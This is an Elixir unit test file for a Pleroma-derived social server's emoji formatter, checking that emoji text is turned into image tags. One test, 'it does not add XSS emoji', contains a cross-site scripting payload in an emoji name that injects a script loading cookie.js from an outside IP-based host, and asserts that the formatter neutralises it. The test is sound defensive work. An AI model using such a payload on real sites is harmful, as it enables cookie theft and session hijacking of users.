honkoma/test/emoji/formatter_test.exs

55 lines
1.7 KiB
Elixir
Raw Normal View History

2019-08-29 19:01:37 +00:00
# Pleroma: A lightweight social networking server
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Emoji.FormatterTest do
alias Pleroma.Emoji.Formatter
use Pleroma.DataCase
describe "emojify" do
test "it adds cool emoji" do
text = "I love :firefox:"
expected_result =
"I love <img class=\"emoji\" alt=\"firefox\" title=\"firefox\" src=\"/emoji/Firefox.gif\" />"
assert Formatter.emojify(text) == expected_result
end
test "it does not add XSS emoji" do
text =
"I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
custom_emoji = %{
"'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" =>
"https://placehold.it/1x1"
}
expected_result =
"I love <img class=\"emoji\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />"
assert Formatter.emojify(text, custom_emoji) == expected_result
end
end
describe "get_emoji" do
test "it returns the emoji used in the text" do
text = "I love :firefox:"
assert Formatter.get_emoji(text) == [
{"firefox", "/emoji/Firefox.gif", ["Gif", "Fun"], "firefox", "/emoji/Firefox.gif"}
]
end
test "it returns a nice empty result when no emojis are present" do
text = "I love moominamma"
assert Formatter.get_emoji(text) == []
end
test "it doesn't die when text is absent" do
text = nil
assert Formatter.get_emoji(text) == []
end
end
end